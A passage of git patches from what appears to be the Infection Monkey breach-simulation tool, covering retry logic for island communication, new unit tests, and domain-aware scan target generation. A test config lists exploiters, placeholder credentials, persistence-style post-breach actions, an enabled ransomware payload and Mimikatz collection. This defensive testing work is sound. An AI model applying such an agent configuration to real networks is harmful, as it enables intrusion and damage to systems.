-4,7 +4,7 @@ import logging import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT -from common.utils.exceptions import ControlClientConnectionError +from common.utils.exceptions import IslandCommunicationError from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.i_control_channel import IControlChannel @@ -37,10 +37,14 @@ class ControlChannel(IControlChannel): response = json.loads(response.content.decode()) return response["stop_agent"] - except Exception as e: - raise ControlClientConnectionError( - f"An error occurred while trying to connect to server: {e}" - ) + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) def get_config(self) -> dict: try: @@ -50,12 +54,17 @@ class ControlChannel(IControlChannel): proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) + response.raise_for_status() return json.loads(response.content.decode()) - except Exception as exc: - raise ControlClientConnectionError( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) def get_credentials_for_propagation(self) -> dict: try: From 8ec580e19cc2a95c25d11bc2d14d2f9f938d9bfd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Dec 2021 15:43:38 +0100 Subject: [PATCH 0210/1110] Agent: Implement should retry task in automated master Add handling of known requests exceptions in ControlClient. Moved IslandCommunicationError to IControlChannel --- monkey/common/utils/exceptions.py | 4 ---- monkey/infection_monkey/i_control_channel.py | 4 ++++ .../master/automated_master.py | 7 ++----- .../infection_monkey/master/control_channel.py | 18 +++++++++++------- 4 files changed, 17 insertions(+), 16 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 89caae27a..cc70cbc51 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -56,7 +56,3 @@ class DomainControllerNameFetchError(FailedExploitationError): class InvalidConfigurationError(Exception): """ Raise when configuration is invalid """ - - -class IslandCommunicationError(Exception): - """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/i_control_channel.py b/monkey/infection_monkey/i_control_channel.py index eb1a4d5b2..33539417c 100644 --- a/monkey/infection_monkey/i_control_channel.py +++ b/monkey/infection_monkey/i_control_channel.py @@ -25,3 +25,7 @@ class IControlChannel(metaclass=abc.ABCMeta): :rtype: dict """ pass + + +class IslandCommunicationError(Exception): + """Raise when unable to connect to control client""" diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index b3a064a19..8342b4b7c 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -3,8 +3,7 @@ import threading import time from typing import Any, Callable, Dict, List, Tuple -from common.utils.exceptions import IslandCommunicationError -from infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster from infection_monkey.i_puppet import IPuppet from infection_monkey.model import VictimHostFactory @@ -22,7 +21,7 @@ SHUTDOWN_TIMEOUT = 5 NUM_SCAN_THREADS = 16 # TODO: Adjust this to the optimal number of scan threads NUM_EXPLOIT_THREADS = 4 # TODO: Adjust this to the optimal number of exploit threads CHECK_FOR_STOP_AGENT_COUNT = 5 -CHECK_FOR_CONFIG_COUNT = 1 +CHECK_FOR_CONFIG_COUNT = 3 logger = logging.getLogger() @@ -48,8 +47,6 @@ class AutomatedMaster(IMaster): self._stop = threading.Event() self._master_thread = create_daemon_thread(target=self._run_master_thread) self._simulation_thread = create_daemon_thread(target=self._run_simulation) - self._failed_stop = 0 - self._failed_config = 0 def start(self): logger.info("Starting automated breach and attack simulation") diff --git a/monkey/infection_monkey/master/control_channel.py b/monkey/infection_monkey/master/control_channel.py index 8f8f30406..52b565d55 100644 --- a/monkey/infection_monkey/master/control_channel.py +++ b/monkey/infection_monkey/master/control_channel.py @@ -4,10 +4,9 @@ import logging import requests from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT -from common.utils.exceptions import IslandCommunicationError from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError requests.packages.urllib3.disable_warnings() @@ -34,6 +33,7 @@ class ControlChannel(IControlChannel): proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) + response.raise_for_status() response = json.loads(response.content.decode()) return response["stop_agent"] @@ -74,11 +74,15 @@ class ControlChannel(IControlChannel): proxies=ControlClient.proxies, timeout=SHORT_REQUEST_TIMEOUT, ) + response.raise_for_status() response = json.loads(response.content.decode())["propagation_credentials"] return response - except Exception as e: - # TODO: Evaluate how this exception is handled; don't just log and ignore it. - logger.error(f"An error occurred while trying to connect to server. {e}") - - return {} + except ( + json.JSONDecodeError, + requests.exceptions.ConnectionError, + requests.exceptions.Timeout, + requests.exceptions.TooManyRedirects, + requests.exceptions.HTTPError, + ) as e: + raise IslandCommunicationError(e) From b262be8d1d673ef21cc551174fb610ed5df8a7ea Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 11:16:14 -0500 Subject: [PATCH 0211/1110] Agent: Change log level of "stop signal" message to info --- monkey/infection_monkey/master/automated_master.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 8342b4b7c..e43ad471f 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -111,7 +111,7 @@ class AutomatedMaster(IMaster): self._control_channel.should_agent_stop, CHECK_FOR_STOP_AGENT_COUNT ) if stop: - logger.debug('Received the "stop" signal from the Island') + logger.info('Received the "stop" signal from the Island') self._stop.set() except IslandCommunicationError as e: logger.error(f"An error occurred while trying to check for agent stop: {e}") From baeee8b90aa51dc6266dbd87b6835e99e03c250a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 11:19:29 -0500 Subject: [PATCH 0212/1110] Agent: Rename _should_retry_task() -> _try_communicate_with_island() --- monkey/infection_monkey/master/automated_master.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index e43ad471f..0a2c2841e 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -94,7 +94,8 @@ class AutomatedMaster(IMaster): time.sleep(CHECK_FOR_TERMINATE_INTERVAL_SEC) - def _should_retry_task(self, fn: Callable[[], Any], max_tries: int): + @staticmethod + def _try_communicate_with_island(fn: Callable[[], Any], max_tries: int): tries = 0 while tries < max_tries: try: @@ -107,7 +108,7 @@ class AutomatedMaster(IMaster): def _check_for_stop(self): try: - stop = self._should_retry_task( + stop = AutomatedMaster._try_communicate_with_island( self._control_channel.should_agent_stop, CHECK_FOR_STOP_AGENT_COUNT ) if stop: @@ -122,7 +123,7 @@ class AutomatedMaster(IMaster): def _run_simulation(self): try: - config = self._should_retry_task( + config = AutomatedMaster._try_communicate_with_island( self._control_channel.get_config, CHECK_FOR_CONFIG_COUNT )["config"] except IslandCommunicationError as e: From 94a42a1469f660c587fd8d417f0ff60eb2e22594 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 12:59:04 -0500 Subject: [PATCH 0213/1110] UT: Make monkey configs available to Island and Agent --- monkey/tests/unit_tests/conftest.py | 19 +++++++++++++++-- .../unit_tests/monkey_island/cc/conftest.py | 21 ++----------------- .../test_password_based_encryption.py | 3 --- 3 files changed, 19 insertions(+), 24 deletions(-) diff --git a/monkey/tests/unit_tests/conftest.py b/monkey/tests/unit_tests/conftest.py index 3099263b0..5b83a7e69 100644 --- a/monkey/tests/unit_tests/conftest.py +++ b/monkey/tests/unit_tests/conftest.py @@ -1,6 +1,7 @@ -import os +import json import sys from pathlib import Path +from typing import Callable, Dict import pytest from _pytest.monkeypatch import MonkeyPatch @@ -11,7 +12,7 @@ sys.path.insert(0, MONKEY_BASE_PATH) @pytest.fixture(scope="session") def data_for_tests_dir(pytestconfig): - return Path(os.path.join(pytestconfig.rootdir, "monkey", "tests", "data_for_tests")) + return Path(pytestconfig.rootdir) / "monkey" / "tests" / "data_for_tests" @pytest.fixture(scope="session") @@ -39,3 +40,17 @@ def monkeypatch_session(): monkeypatch_ = MonkeyPatch() yield monkeypatch_ monkeypatch_.undo() + + +@pytest.fixture +def monkey_configs_dir(data_for_tests_dir) -> Path: + return data_for_tests_dir / "monkey_configs" + + +@pytest.fixture +def load_monkey_config(data_for_tests_dir) -> Callable[[str], Dict]: + def inner(filename: str) -> Dict: + config_path = data_for_tests_dir / "monkey_configs" / filename + return json.loads(open(config_path, "r").read()) + + return inner diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 5777b3492..ba5a2c66e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -1,38 +1,21 @@ # Without these imports pytests can't use fixtures, # because they are not found import json -from typing import Dict import pytest from tests.unit_tests.monkey_island.cc.mongomock_fixtures import * # noqa: F401,F403,E402 -from tests.unit_tests.monkey_island.cc.server_utils.encryption.test_password_based_encryption import ( # noqa: E501 - FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME, - MONKEY_CONFIGS_DIR_PATH, - STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME, -) from monkey_island.cc.server_utils.encryption import unlock_datastore_encryptor -@pytest.fixture -def load_monkey_config(data_for_tests_dir) -> Dict: - def inner(filename: str) -> Dict: - config_path = ( - data_for_tests_dir / MONKEY_CONFIGS_DIR_PATH / FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME - ) - return json.loads(open(config_path, "r").read()) - - return inner - - @pytest.fixture def monkey_config(load_monkey_config): - return load_monkey_config(STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME) + return load_monkey_config("monkey_config_standard.json") @pytest.fixture def flat_monkey_config(load_monkey_config): - return load_monkey_config(FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME) + return load_monkey_config("flat_config.json") @pytest.fixture diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py index ce0b46705..038b17ec1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_password_based_encryption.py @@ -13,9 +13,6 @@ from monkey_island.cc.server_utils.encryption import ( # Mark all tests in this module as slow pytestmark = pytest.mark.slow -MONKEY_CONFIGS_DIR_PATH = "monkey_configs" -STANDARD_PLAINTEXT_MONKEY_CONFIG_FILENAME = "monkey_config_standard.json" -FLAT_PLAINTEXT_MONKEY_CONFIG_FILENAME = "flat_config.json" PASSWORD = "hello123" INCORRECT_PASSWORD = "goodbye321" From fdaa454c5978caf3ef795b11b6ce8f8c42bc2b78 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 15 Dec 2021 13:12:20 -0500 Subject: [PATCH 0214/1110] Agent: Add unit tests for AutomatedMaster island comms retry --- .../master/automated_master.py | 10 -- .../automated_master_config.json | 112 ++++++++++++++++++ .../unit_tests/infection_monkey/conftest.py | 5 + .../master/test_automated_master.py | 59 +++++++++ 4 files changed, 176 insertions(+), 10 deletions(-) create mode 100644 monkey/tests/data_for_tests/monkey_configs/automated_master_config.json diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 0a2c2841e..8c95d529b 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -87,8 +87,6 @@ class AutomatedMaster(IMaster): while self._master_thread_should_run(): if timer.is_expired(): - # TODO: Handle exceptions in _check_for_stop() once - # ControlChannel.should_agent_stop() is refactored. self._check_for_stop() timer.reset() @@ -164,14 +162,6 @@ class AutomatedMaster(IMaster): pba_thread.join() - # TODO: This code is just for testing in development. Remove when - # implementation of AutomatedMaster is finished. - while True: - time.sleep(2) - logger.debug("Simulation thread is finished sleeping") - if self._stop.is_set(): - break - def _collect_system_info(self, collector: str): system_info_telemetry = {} system_info_telemetry[collector] = self._puppet.run_sys_info_collector(collector) diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json new file mode 100644 index 000000000..4a7816301 --- /dev/null +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -0,0 +1,112 @@ +{ + "config": { + "propagation": { + "network_scan": { + "tcp": { + "timeout_ms": 3000, + "ports": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 7001, + 8088, + 9200 + ] + }, + "icmp": { + "timeout_ms": 1000 + }, + "fingerprinters": [ + "SMBFinger", + "SSHFinger", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ] + }, + "targets": { + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "local_network_scan": true, + "subnet_scan_list": [ + "192.168.1.50", + "192.168.56.0/24", + "10.0.33.0/30", + "10.0.0.1", + "10.0.0.2" + ] + }, + "exploiters": { + "brute_force": [ + {"name": "MSSQLExploiter", "propagator": true}, + {"name": "PowerShellExploiter", "propagator": true}, + {"name": "SmbExploiter", "propagator": true}, + {"name": "SSHExploiter", "propagator": true}, + {"name": "WmiExploiter", "propagator": true} + ], + "vulnerability": [ + {"name": "DrupalExploiter", "propagator": true}, + {"name": "ElasticGroovyExploiter", "propagator": true}, + {"name": "HadoopExploiter", "propagator": true}, + {"name": "ShellShockExploiter", "propagator": true}, + {"name": "Struts2Exploiter", "propagator": true}, + {"name": "WebLogicExploiter", "propagator": true}, + {"name": "ZerologonExploiter", "propagator": false} + ] + } + }, + "PBA_linux_filename": "", + "PBA_windows_filename": "", + "command_servers": ["10.197.94.72:5000"], + "current_server": "localhost:5000", + "custom_PBA_linux_cmd": "", + "custom_PBA_windows_cmd": "", + "depth": 2, + "dropper_set_date": true, + "exploit_lm_hash_list": ["DEADBEEF", "FACADE"], + "exploit_ntlm_hash_list": ["BEADED", "ACCEDE", "DECADE"], + "exploit_password_list": ["p1", "p2", "p3"], + "exploit_ssh_keys": "hidden", + "exploit_user_list": ["u1", "u2", "u3"], + "exploiter_classes": [], + "max_depth": 2, + "post_breach_actions": { + "CommunicateAsBackdoorUser": {}, + "ModifyShellStartupFiles": {}, + "HiddenFiles": {}, + "TrapCommand": {}, + "ChangeSetuidSetgid": {}, + "ScheduleJobs": {}, + "Timestomping": {}, + "AccountDiscovery": {}, + "Custom": { + "linux_command": "chmod u+x my_exec && ./my_exec", + "windows_cmd": "powershell test_driver.ps1", + "linux_filename": "my_exec", + "windows_filename": "test_driver.ps1" + } + }, + "payloads": { + "ransomware": { + "encryption": { + "directories": {"linux_target_dir": "", "windows_target_dir": ""}, + "enabled": true + }, + "other_behaviors": {"readme": true} + } + }, + "system_info_collector_classes": [ + "AwsCollector", + "ProcessListCollector", + "MimikatzCollector" + ] + } +} diff --git a/monkey/tests/unit_tests/infection_monkey/conftest.py b/monkey/tests/unit_tests/infection_monkey/conftest.py index 533572f98..14a193112 100644 --- a/monkey/tests/unit_tests/infection_monkey/conftest.py +++ b/monkey/tests/unit_tests/infection_monkey/conftest.py @@ -15,3 +15,8 @@ class TelemetryMessengerSpy(ITelemetryMessenger): @pytest.fixture def telemetry_messenger_spy(): return TelemetryMessengerSpy() + + +@pytest.fixture +def automated_master_config(load_monkey_config): + return load_monkey_config("automated_master_config.json") diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index 0584ca1cd..378eab883 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -1,4 +1,14 @@ +import time +from unittest.mock import MagicMock + from infection_monkey.master import AutomatedMaster +from infection_monkey.master.automated_master import ( + CHECK_FOR_CONFIG_COUNT, + CHECK_FOR_STOP_AGENT_COUNT, +) +from infection_monkey.master.control_channel import IslandCommunicationError + +INTERVAL = 0.001 def test_terminate_without_start(): @@ -6,3 +16,52 @@ def test_terminate_without_start(): # Test that call to terminate does not raise exception m.terminate() + + +def test_stop_if_cant_get_config_from_island(monkeypatch): + cc = MagicMock() + cc.should_agent_stop = MagicMock(return_value=False) + cc.get_config = MagicMock( + side_effect=IslandCommunicationError("Failed to communicate with island") + ) + + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", + INTERVAL, + ) + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL + ) + m = AutomatedMaster(None, None, None, cc) + m.start() + + assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT + + +# NOTE: This test is a little bit brittle, and probably needs too much knowlegde of the internals +# of AutomatedMaster. For now, it works and it runs quickly. In the future, if we find that +# this test isn't valuable or it starts causing issues, we can just remove it. +def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, automated_master_config): + cc = MagicMock() + cc.should_agent_stop = MagicMock( + side_effect=IslandCommunicationError("Failed to communicate with island") + ) + # Ensure that should_agent_stop times out before get_config() returns to prevent the + # Propagator's sub-threads from hanging + cc.get_config = MagicMock( + return_value=automated_master_config, + side_effect=lambda: time.sleep(INTERVAL * (CHECK_FOR_STOP_AGENT_COUNT + 1)), + ) + + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_ISLAND_FOR_STOP_COMMAND_INTERVAL_SEC", + INTERVAL, + ) + monkeypatch.setattr( + "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL + ) + + m = AutomatedMaster(None, None, None, cc) + m.start() + + assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT From 549eb5d389abf6dd09ccf7c45215ce4231924c0d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Dec 2021 12:03:40 +0200 Subject: [PATCH 0215/1110] Agent, UT: Implement domain names in scan_target_generator.py Change the ip strings to NetworkAddress named tuple that has ip and domain name. This tuple better describes the target and is necessary because VictimHost uses domain names --- monkey/common/network/network_range.py | 2 +- .../network/scan_target_generator.py | 78 +++++++++++++------ .../model/test_victim_host_generator.py | 5 -- .../network/test_scan_target_generator.py | 60 +++++++++----- 4 files changed, 93 insertions(+), 52 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index b7c8f14a4..5b1342370 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -178,7 +178,7 @@ class SingleIpRange(NetworkRange): :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" - domain_name = "" + domain_name = None # Try casting user's input as IP try: diff --git a/monkey/infection_monkey/network/scan_target_generator.py b/monkey/infection_monkey/network/scan_target_generator.py index 79768c067..927123d48 100644 --- a/monkey/infection_monkey/network/scan_target_generator.py +++ b/monkey/infection_monkey/network/scan_target_generator.py @@ -1,12 +1,12 @@ import itertools import logging from collections import namedtuple -from typing import List, Set +from typing import List from common.network.network_range import InvalidNetworkRangeError, NetworkRange NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) - +NetworkAddress = namedtuple("NetworkAddress", ("ip", "domain")) logger = logging.getLogger(__name__) @@ -17,73 +17,101 @@ def compile_scan_target_list( inaccessible_subnets: List[str], blocklisted_ips: List[str], enable_local_network_scan: bool, -) -> List[str]: - +) -> List[NetworkAddress]: scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) if enable_local_network_scan: - scan_targets.update(_get_ips_to_scan_from_local_interface(local_network_interfaces)) + scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces)) if inaccessible_subnets: inaccessible_subnets = _get_segmentation_check_targets( inaccessible_subnets, local_network_interfaces ) - scan_targets.update(inaccessible_subnets) + scan_targets.extend(inaccessible_subnets) - _remove_interface_ips(scan_targets, local_network_interfaces) - _remove_blocklisted_ips(scan_targets, blocklisted_ips) + scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces) + scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips) + scan_targets = _remove_redundant_targets(scan_targets) + scan_targets.sort() - scan_target_list = list(scan_targets) - scan_target_list.sort() - - return scan_target_list + return scan_targets -def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> Set[str]: - scan_targets = set() +def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]: + target_dict = {} + for target in targets: + domain_name = target.domain + ip = target.ip + if ip not in target_dict or (target_dict[ip] is None and domain_name is not None): + target_dict[ip] = domain_name + return [NetworkAddress(key, value) for (key, value) in target_dict.items()] + + +def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]: + addresses = [] + for address in range_obj: + if hasattr(range_obj, "domain_name"): + addresses.append(NetworkAddress(address, range_obj.domain_name)) + else: + addresses.append(NetworkAddress(address, None)) + return addresses + + +def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> List[NetworkAddress]: + scan_targets = [] ranges_to_scan = _filter_invalid_ranges( ranges_to_scan, "Bad network range input for targets to scan:" ) network_ranges = [NetworkRange.get_range_obj(_range) for _range in ranges_to_scan] + for _range in network_ranges: - scan_targets.update(set(_range)) + scan_targets.extend(_range_to_addresses(_range)) return scan_targets -def _get_ips_to_scan_from_local_interface(interfaces: List[NetworkInterface]) -> Set[str]: +def _get_ips_to_scan_from_local_interface( + interfaces: List[NetworkInterface], +) -> List[NetworkAddress]: ranges = [f"{interface.address}{interface.netmask}" for interface in interfaces] ranges = _filter_invalid_ranges(ranges, "Local network interface returns an invalid IP:") return _get_ips_from_ranges_to_scan(ranges) -def _remove_interface_ips(scan_targets: Set[str], interfaces: List[NetworkInterface]): +def _remove_interface_ips( + scan_targets: List[NetworkAddress], interfaces: List[NetworkInterface] +) -> List[NetworkAddress]: interface_ips = [interface.address for interface in interfaces] - _remove_ips_from_scan_targets(scan_targets, interface_ips) + return _remove_ips_from_scan_targets(scan_targets, interface_ips) -def _remove_blocklisted_ips(scan_targets: Set[str], blocked_ips: List[str]): +def _remove_blocklisted_ips( + scan_targets: List[NetworkAddress], blocked_ips: List[str] +) -> List[NetworkAddress]: filtered_blocked_ips = _filter_invalid_ranges(blocked_ips, "Invalid blocked IP provided:") if not len(filtered_blocked_ips) == len(blocked_ips): raise InvalidNetworkRangeError("Received an invalid blocked IP. Aborting just in case.") - _remove_ips_from_scan_targets(scan_targets, blocked_ips) + return _remove_ips_from_scan_targets(scan_targets, filtered_blocked_ips) -def _remove_ips_from_scan_targets(scan_targets: Set[str], ips_to_remove: List[str]): +def _remove_ips_from_scan_targets( + scan_targets: List[NetworkAddress], ips_to_remove: List[str] +) -> List[NetworkAddress]: for ip in ips_to_remove: try: - scan_targets.remove(ip) + scan_targets = [address for address in scan_targets if address.ip != ip] except KeyError: # We don't need to remove the ip if it's already missing from the scan_targets pass + return scan_targets def _get_segmentation_check_targets( inaccessible_subnets: List[str], local_interfaces: List[NetworkInterface] -): - subnets_to_scan = set() +) -> List[NetworkAddress]: + subnets_to_scan = [] local_ips = [interface.address for interface in local_interfaces] local_ips = _filter_invalid_ranges(local_ips, "Invalid local IP found: ") @@ -97,7 +125,7 @@ def _get_segmentation_check_targets( for (subnet1, subnet2) in subnet_pairs: if _is_segmentation_check_required(local_ips, subnet1, subnet2): ips = _get_ips_from_ranges_to_scan(subnet2) - subnets_to_scan.update(ips) + subnets_to_scan.extend(ips) return subnets_to_scan diff --git a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py index c60992fee..0133102eb 100644 --- a/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/model/test_victim_host_generator.py @@ -39,8 +39,3 @@ class TestVictimHostGenerator(TestCase): victims = list(generator.generate_victims_from_range(self.local_host_range)) self.assertEqual(len(victims), 1) self.assertEqual(victims[0].domain_name, "localhost") - - # don't generate for other victims - victims = list(generator.generate_victims_from_range(self.random_single_ip_range)) - self.assertEqual(len(victims), 1) - self.assertEqual(victims[0].domain_name, "") diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py index af194b300..41600897d 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_scan_target_generator.py @@ -1,7 +1,7 @@ from itertools import chain import pytest -from network.scan_target_generator import _filter_invalid_ranges +from network.scan_target_generator import NetworkAddress, _filter_invalid_ranges from common.network.network_range import InvalidNetworkRangeError from infection_monkey.network.scan_target_generator import ( @@ -26,7 +26,7 @@ def test_single_subnet(): assert len(scan_targets) == 255 for i in range(0, 255): - assert f"10.0.0.{i}" in scan_targets + assert NetworkAddress(f"10.0.0.{i}", None) in scan_targets @pytest.mark.parametrize("single_ip", ["10.0.0.2", "10.0.0.2/32", "10.0.0.2-10.0.0.2"]) @@ -35,8 +35,8 @@ def test_single_ip(single_ip): scan_targets = compile_ranges_only([single_ip]) assert len(scan_targets) == 1 - assert "10.0.0.2" in scan_targets - assert "10.0.0.2" == scan_targets[0] + assert NetworkAddress("10.0.0.2", None) in scan_targets + assert NetworkAddress("10.0.0.2", None) == scan_targets[0] def test_multiple_subnet(): @@ -45,10 +45,10 @@ def test_multiple_subnet(): assert len(scan_targets) == 262 for i in range(0, 255): - assert f"10.0.0.{i}" in scan_targets + assert NetworkAddress(f"10.0.0.{i}", None) in scan_targets for i in range(8, 15): - assert f"192.168.56.{i}" in scan_targets + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets def test_middle_of_range_subnet(): @@ -57,7 +57,7 @@ def test_middle_of_range_subnet(): assert len(scan_targets) == 7 for i in range(0, 7): - assert f"192.168.56.{i}" in scan_targets + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets @pytest.mark.parametrize( @@ -70,7 +70,7 @@ def test_ip_range(ip_range): assert len(scan_targets) == 9 for i in range(25, 34): - assert f"192.168.56.{i}" in scan_targets + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets def test_no_duplicates(): @@ -79,7 +79,7 @@ def test_no_duplicates(): assert len(scan_targets) == 7 for i in range(0, 7): - assert f"192.168.56.{i}" in scan_targets + assert NetworkAddress(f"192.168.56.{i}", None) in scan_targets def test_blocklisted_ips(): @@ -134,6 +134,24 @@ def test_local_network_interface_ips_removed_from_targets(): assert interface.address not in scan_targets +def test_no_redundant_targets(): + local_network_interfaces = [ + NetworkInterface("10.0.0.5", "/24"), + ] + + scan_targets = compile_scan_target_list( + local_network_interfaces=local_network_interfaces, + ranges_to_scan=["127.0.0.0", "127.0.0.1", "localhost"], + inaccessible_subnets=[], + blocklisted_ips=[], + enable_local_network_scan=False, + ) + + assert len(scan_targets) == 2 + assert NetworkAddress(ip="127.0.0.0", domain=None) in scan_targets + assert NetworkAddress(ip="127.0.0.1", domain="localhost") in scan_targets + + @pytest.mark.parametrize("ranges_to_scan", [["10.0.0.5"], []]) def test_only_scan_ip_is_local(ranges_to_scan): local_network_interfaces = [ @@ -196,7 +214,7 @@ def test_local_subnet_added(): assert len(scan_targets) == 254 for ip in chain(range(0, 5), range(6, 255)): - assert f"10.0.0.{ip} in scan_targets" + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets def test_multiple_local_subnets_added(): @@ -216,10 +234,10 @@ def test_multiple_local_subnets_added(): assert len(scan_targets) == 2 * (255 - 1) for ip in chain(range(0, 5), range(6, 255)): - assert f"10.0.0.{ip} in scan_targets" + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets for ip in chain(range(0, 99), range(100, 255)): - assert f"172.33.66.{ip} in scan_targets" + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets def test_blocklisted_ips_missing_from_local_subnets(): @@ -257,12 +275,12 @@ def test_local_subnets_and_ranges_added(): assert len(scan_targets) == 254 + 3 for ip in range(0, 5): - assert f"10.0.0.{ip} in scan_targets" + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets for ip in range(6, 255): - assert f"10.0.0.{ip} in scan_targets" + assert NetworkAddress(f"10.0.0.{ip}", None) in scan_targets for ip in range(40, 43): - assert f"172.33.66.{ip} in scan_targets" + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets def test_local_network_interfaces_specified_but_disabled(): @@ -279,7 +297,7 @@ def test_local_network_interfaces_specified_but_disabled(): assert len(scan_targets) == 3 for ip in range(40, 43): - assert f"172.33.66.{ip} in scan_targets" + assert NetworkAddress(f"172.33.66.{ip}", None) in scan_targets def test_local_network_interfaces_subnet_masks(): @@ -299,7 +317,7 @@ def test_local_network_interfaces_subnet_masks(): assert len(scan_targets) == 4 for ip in [108, 110, 145, 146]: - assert f"172.60.145.{ip}" in scan_targets + assert NetworkAddress(f"172.60.145.{ip}", None) in scan_targets def 